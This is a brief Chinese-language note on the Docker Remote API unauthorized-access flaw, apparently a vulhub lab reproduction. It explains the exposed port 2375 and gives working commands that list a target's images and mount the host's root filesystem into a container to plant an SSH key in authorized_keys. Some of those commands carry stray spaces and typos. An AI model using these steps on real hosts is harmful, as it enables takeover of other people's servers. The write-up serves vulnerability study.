docker remote api
docker remote api主要的目的是取代命令行界面,
docker client和docker daemon通过unix domain socket进行通信.
默认情况下,只有本机的root和docker组用户才能操作docker.
漏洞成因
dockerd -H unix:///var/run/docker. sock -H 0.0. 0.0:2375
docker守护进程监听在0.0.0.0,外网可访问
没有使用iptable等限制可连接的来源ip
漏洞危害及常见的攻击方式
1.远程对被攻击主机的docker容器进行操作
docker -H tcp://*.*.*.*:2375 images
2.远程启动被攻击主机的docker容器,并挂载宿主机的目录,通过容器来修改宿主机的author ized_ keys文件,写入公钥。
docker H tcp://*.*.*.*:2375 run -it-v /:/mnt imagelD /bin/sh
漏洞复现
vulhub漏洞:vulhub/README.zh-cn.md at master · vulhub/vulhub · GitHub
编译及启动漏洞环境:
docker-compose build docker-compose up -d
环境启动后,将监听2375端口。
访问 /version 目录下可以访问到对应的docker版本
http://ip:2375/containers/json 列出容器信息
http://ip:2375/images/json 列出 images 列表
利用方法
准备一个安装好docker的虚拟机或者vps
获取镜像信息
docker -H tcp://靶机ip:2375 images
随意启动一个容器,并将宿主机的 / 目录挂载到容器的 /mnt目录,这样就可以操作宿主机中的文件了
docker -H tcp://靶机ip:2375 run -it -v /:/mnt b39e0b392b7e /bin/sh